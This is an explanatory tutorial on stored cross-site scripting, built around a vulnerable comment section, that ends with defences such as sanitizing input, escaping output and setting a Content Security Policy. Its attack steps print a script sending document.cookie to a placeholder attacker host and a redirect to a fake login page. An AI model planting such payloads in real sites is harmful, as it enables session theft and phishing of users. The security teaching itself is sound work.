Cross-Site Scripting (XSS)

 

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript code into a website. When other users visit that website, their browser unknowingly runs the attacker's script. This can lead to data theft, account hijacking, or unwanted actions on behalf of the user.

Let's Understand with a Scenario

Scenario: A Comment Section with XSS Vulnerability

1. Your Website’s Feature:

   • Your website (https://my-frontend.com) has a comment section.
   • Users can post comments, and these comments are displayed on the webpage.
   • The backend stores these comments in a database and renders them in HTML when users visit the page.

2. The Vulnerability:

   • Your website doesn’t sanitize user input.
   • If a user submits any text, your backend or frontend directly displays it as-is on the page, without escaping special characters like < or >.

---

Step-by-Step Attack

Step 1: Attacker Identifies the Vulnerability

• The attacker tests your comment section by entering something harmless-looking but suspicious:

  
  <script>alert('XSS Test')</script>
  

• If the website is vulnerable, this script executes in the browser as soon as the page loads.
• The attacker now knows your website has an XSS vulnerability.

Step 2: Attacker Injects Malicious Script

• The attacker crafts a malicious payload, like:

  
  <script>
    fetch('https://attacker-website.com/steal?cookie=' + document.cookie);
  </script>
  

• The attacker submits this script as a comment on your website.
• The comment gets stored in your database without being sanitized.

Step 3: Users Become Victims

• When a legitimate user visits the page to view comments, the browser:
  • Loads the malicious comment.
  • Executes the attacker’s script because the input wasn’t sanitized.

Step 4: The Attack in Action

• The attacker’s script runs in the victim’s browser.
• What can the attacker do?
  • Steal cookies: If your site uses cookies for authentication, the attacker can steal them.
    • Example:

      
      fetch('https://attacker-website.com/steal?cookie=' + document.cookie);
      

  • Redirect the user: The attacker might redirect the user to a fake login page to steal their credentials.
    • Example:

      
      window.location = 'https://attacker-website.com/login';
      

  • Perform unwanted actions: The attacker might send requests to your server on behalf of the user.
    • Example: Changing the user’s profile information or making purchases.

---

Step-by-Step: How an XSS Attack Plays Out

1. Attacker:

   • Submits a malicious script via the comment form on your website.

2. Your Server:

   • Stores the malicious comment in the database without sanitizing it.

3. Victim’s Browser:

   • Loads the webpage.
   • Fetches all comments, including the attacker’s script.
   • Executes the attacker’s JavaScript.

4. Attack is Executed:

   • The malicious script runs in the victim’s browser.
   • Data is stolen, or harmful actions are performed.

---

How the Attack Looks in the Browser

1. Victim visits: https://my-frontend.com/comments.
2. The browser fetches and displays:

   
   <div class="comment">Nice post!</div>
   <div class="comment">
     <script>
       fetch('https://attacker-website.com/steal?cookie=' + document.cookie);
     </script>
   </div>
   

3. The attacker’s script is executed in the victim’s browser.

---

What the Attacker Gains

1. Stolen Cookies:

   • If your site uses cookies for authentication, the attacker now has access to the user’s session.

2. User Impersonation:

   • With stolen cookies, the attacker can log in as the victim and perform actions on their behalf.

3. User Redirection:

   • The attacker might redirect the victim to a phishing page to steal their credentials.

4. Data Harvesting:

   • The attacker can scrape sensitive data from the webpage using JavaScript.

---

How to Protect Your Website from XSS

1. Sanitize Input

• Before storing user input, remove any harmful scripts or tags.
• Use libraries like DOMPurify (for frontend) or input sanitization frameworks in your backend.

2. Escape Output

• When displaying user input on the page, escape special characters:
  • < → <
  • > → >
  • Example in JavaScript:

    
    function escapeHTML(str) {
      return str.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    }
    

3. Use Content Security Policy (CSP)

• Add a Content-Security-Policy header to restrict JavaScript execution:

  
  Content-Security-Policy: default-src 'self'; script-src 'self';
  

• This blocks inline scripts and prevents external scripts from unauthorized sources.

4. Avoid innerHTML

• Never insert user input directly into the DOM with innerHTML.
• Instead, use safer alternatives like textContent or templating libraries that escape data automatically.

5. Validate Input

• On both the frontend and backend, ensure input matches expected formats (e.g., only allow letters and numbers for usernames).